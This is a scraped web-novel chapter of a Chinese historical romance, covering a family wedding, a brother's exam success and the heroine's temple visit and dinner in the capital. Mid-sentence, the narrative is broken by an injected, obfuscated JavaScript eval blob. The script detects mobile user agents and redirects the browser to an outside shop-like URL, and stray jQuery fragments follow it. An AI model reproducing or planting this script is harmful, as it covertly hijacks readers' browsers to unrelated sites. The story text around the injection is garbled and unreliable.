默认冷灰
24号文字
方正启体

18. 第十八章 未解的签文

作者:岁为春本书字数:K更新时间:
    这边江恒已和他父亲说明,他是不大同意的。


    毕竟舍不得,在江家做生意又能干,如今突然要入赘出去,怎么肯?


    听得祖父叫江恒去常熙堂,又和他一道过去。


    到了常熙堂,听得祖父都同意了,他也不好说什么。


    总归二人是两情相悦,若是能安乐一生,江慎诚狠心割爱也并无不可。


    他是很疼江恒的,只是他自小不在自己身边,总不能多照顾他一些。


    因此,定了好日子,江藏舟打算年后和祖父一道,去宣州府欧阳府上正式提亲。


    如今已近年关,年后春茶采收江家还要忙得一段时间,离不开人,因此把婚期定在了五月底,两家也有足够的时间来准备。


    一转眼年关已过,春闱将至。


    祖母早早就到了宝相寺里祈福,每日晨昏定省,从不懈怠。


    江藏舟因着要忙茶园里的事,只叫了人好生在寺里看顾着,偶尔得了空去看看她。


    因着江恒五月底便要出了府门,江藏舟每日都叫了江华在身边跟着学习。


    早日成长起来,才能帮衬着江藏舟分担些压力。


    他也倒是个勤快的,又有天赋,上手很快许多事不用江藏舟多吩咐,就能办的漂亮干净。


    终于是熬到了放榜这日,南州府离京中十数日路程,消息也慢许多,只能慢慢等着。


    江藏舟对自家大哥哥还是很自信的,即便这次不能中,那下次也是很有机会的,也不急着这一时。


    终于,这日京中来了传讯的官员,仪山江氏江藏岳,榜十一,可登殿试。


    江家上上下下都高兴得很,家中出了个进士,也是光耀门楣了。


    江藏舟在家中设了宴,一齐聚着庆祝一番。


    还在望江楼点了灯,宴请八方,一连三日,望江楼所有席面不论大小江家一律买单,还又设了许多粥棚,免费施粥。家中下人也都额外发了赏钱。


    现下只等殿试之后,看江藏岳能得个什么官职了。也要预备着在京中给他置办了宅院,新科贵人,总不能一直住着宋世祖家里。


    殿试一过,江藏岳受命留任京中,在大理寺任职,官家特许他回南州府,来去路程近一个月,因此让他一个半月后返京到任,这时间也足够他在京中安置了。


    衣锦还乡,好生风光。


    江藏岳还没回到南州府,江家的门槛都要被结亲的人踏破了。


    不过祖父都一一回绝了。“此事要问过你大哥哥才行,我可不敢拿他的主意。”


    江藏岳只能在家中待到五月初,想是等不到江恒成亲便要返京了。


    这是家中喜事,因此提前了婚期,有江藏岳在,对两家来说总归是个好的见证。


    大婚当日,十里红妆。


    大马高车,红幡画船,锣鼓喧天,热闹非凡。


    两大顶级商户联姻,排场那是够够的。


    宣州府百姓都未见过这等排场,街边店面楼上雅间都挤满了围观的人。


    吉时已到,欧阳府正堂之上,新人对拜,佳偶天成。


    “礼成——”


    江藏舟看着二人,心下也甚是高兴。


    今日是在欧阳府设宴,自己乐得清闲,和江藏岳二人偷偷摸了在后院,喝起了酒。


    江藏岳酒量着实不行,因此只慢慢酌了几口,江藏舟倒是能喝,今日欧阳青摆了十年的陈酒出来,甚是香醇,她倒多喝了好几杯。


    数杯下肚,江藏舟也不见醉,只觉今夜月朗星稀,清风徐徐,轻松无比。


    见江藏岳欲语还休,江藏舟皱着眉头倒了酒过去:“大哥哥还未正式上任呢,倒把那官架子先学了去,支支吾吾的,我不喜欢。”


    “我赴任京中,必然要在京中久驻,我原意是将父亲接了过去,也好照应,只是放心不下你。”


    原来是这样。


    他要接了父亲去京中,那必然姨娘也是要一道去的,总不能教他二人夫妻分离不是。


    既叫了姨娘去,那江言霁和江言朗也必然是要跟着去的,那大房房中,就只剩江藏舟一人在南州府了。


    “大哥哥如今前程正好,父亲操心了这许多年,现下也该接他过去享福的。


    至于我,我管家多年,现下江家哪离得了我。大哥哥倒也不必自责,我知道你和父亲都觉亏欠于我,可我并不在意。


    我自小就跟在祖父身边,和你们并不生活在一处,但父亲和大哥哥,乃至姨娘,一直都关心着我,我是知道的。


    也不必觉得亏欠了我,我说过,我是喜欢管家喜欢经商喜欢做茶,若我不喜欢,那便是怎么逼我我都不乐意学的。


    是我自己选的这条路,与旁人无关。”


    江藏岳看着她,叹了口气。


    “我是父亲的女儿,更是江家的掌事,我肩上是整个江氏的产业,我自觉有责任担起这一份担子。


    如今大哥哥新科及第,即便与我不在一处,对我也是多有裨益的,不必觉得亏欠。”


    江藏舟比谁都清楚,她自己想要什么。


    她做这江家掌事,不是因为别人想要她做她才做,是因为她自己想做。


    不是因为无人可做她才做,是因为她知道自己有能力做。


    见江藏岳还是蹙眉不语,江藏舟有意调节下气氛,便笑着说:“好了,不必再纠结这些。只希望日后大哥哥飞黄腾达了,可不要忘了给我这远在南州府的妹妹多寄些银钱珠宝才是。为了给江恒撑场面,我的私房钱可是少了一大截呢。”


    江藏岳看她现下没个正经,甚是无奈:“你呀。”


    婚礼既成,如今就只剩江藏舟和江华管家了。


    江华有些事情还不熟悉,因此这一久江藏舟倒是多费了好些心神。


    好在江华成长也快,想来再过上几个月江藏舟就能轻松一些了。


    江藏岳已经带了父亲和姨娘江言霁江言朗四人进京,还好京中有宋世祖帮忙置办宅院下人,这一久江藏舟忙得抽不开身,不然真是要顾头不顾尾了。


    一晃两个月过去。


    这日好容易得了个空闲,江藏舟将将坐下,打算喝口闲茶写写字,谁知下人进来通传,说是六王爷来了。


    又收了纸笔去了正厅接见。


    原来是六王爷的生母陆昭仪有孕,还正好赶上她七月二十的生日。


    此前又常听六王爷提起江藏舟,陆昭仪便想见见她。


    因此借着庆生的由头,禀了官家,让江藏舟去京城当面给她制茶作贺。还特意派了六王爷来南州府接她进京。


    “我有那么大名气?”江藏舟倒是有些意外。


    “当然有。之前你给太后献的寿礼,她可夸了你好几句呢!”


    虽然放心不下江华一个人掌家,但这次是官家钦点了她去贺寿,没办法推脱,好在祖父身体硬朗,也倒能帮着江华看顾着一些。


    因此江藏舟去宝相寺挖了株茶树,还特意取了宝相寺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408769|200627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后山瀑布下的泉水,一起带着上了京城。


    数日颠簸终是到了京中,江藏舟在江藏岳宅子里住下,等待到时官家召见。


    离陆昭仪生辰还有些时日,江藏舟就在京中左右逛逛。


    与南州府比起来,京中确实更加繁华。


    还未出发时,祖母便念叨京中大相国寺传闻何等灵验,让江藏舟得了空一定要去拜拜。


    因此江藏舟这日特意沐浴焚香,坐了马车去寺里参拜一番。


    这大相国寺不似宝相寺,宝相寺坐落山中,黄墙黑瓦青砖铺地,常年潮湿青苔蔓延,深林隐蔽,只觉清幽。


    大相国寺则坐于山前,庙宇林立,高屋长檐,红墙金瓦,甚是气派。


    最高处是大相国寺的鸣钟,正中央是一棵百年银杏,成日里香火不绝。


    到了寺里,参拜一番,僧人说可以求签,问江藏舟要不要求一支。


    江藏舟静了神,摇了签筒,不多时便掉了一支签出来。


    签文是梵语,江藏舟看不懂,解签还要到侧殿。


    江藏舟拿着签出来,看见侧殿解签的僧人面前排起了长队。


    叹了口气。


    江藏舟从不排队,还是如此长的队伍。


    拜也诚心拜过了,这签文不解也罢,因此准备就此离开。


    谁知道转身就看见了陆昶。


    他也看见了自己。


    “见过陆将军。”陆昶已经回京好几个月了,现在是京中禁军将领,官家还是很倚重他的。


    “听得江娘子来了京中,还想着去拜见一番,不想竟在此遇到了。”


    “说明我和将军颇有缘分,是藏舟的福气呢。”客套话江藏舟最会说了。


    “可解完签了?”陆昶看见她手里拿了签文。


    江藏舟又转身看了那解签的队伍,还是很长。“还没,解签的人太多了,不解也罢。”


    “陆某请娘子吃顿便饭如何?”


    陆将军的便饭,不吃白不吃。


    陆昶倒是大手笔,直接带她到了京中最贵的樊楼,定了雅间坐下。


    不过他一个京中大将,家底厚些也正常,狠狠吃他一顿也无妨。


    江藏舟起了筷子夹菜,她倒是要好好尝尝这樊楼的菜比望江楼的菜好在哪里。


    刚吃得一口白玉丸子,抬眼便看见陆昶盯着自己,像是有话要说。


    “将军有话不妨直说?”江藏舟咽了菜下去,开口道。


    “多谢你助我回京。”


    难怪请她吃饭,原来是为着这个。


    “将军不必挂在心上,我只是顺水推舟罢了。若是宋老先生不帮你,我也无法的。”这是实话。


    “此前已去宋老先生府上拜谢过了,只不好出京城,没办法跟你亲自道谢。”这陆昶看着倒真诚,想是诚心想谢她。


    “那我倒来的正是时候。陆将军还未忘记我的人情,倒是得了一桌好菜。”


    这樊楼的菜确实是比望江楼的要精致一些呢,很合江藏舟口味,味清但不淡,色香但不重。


    差点吃撑,对江藏舟来说,这樊楼的菜品口味差一点点就要比上江言霁做的菜了。


    吃得差不多,江藏舟起身告别,让陆昶不必相送,她自己回去。


    她还想逛逛这京中夜景。


    等她离了席,陆昶才发现她座下掉了一张签文。


    陆昶母亲信佛,他是看得懂梵文的。


    “遇水生灾,遇水化吉。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)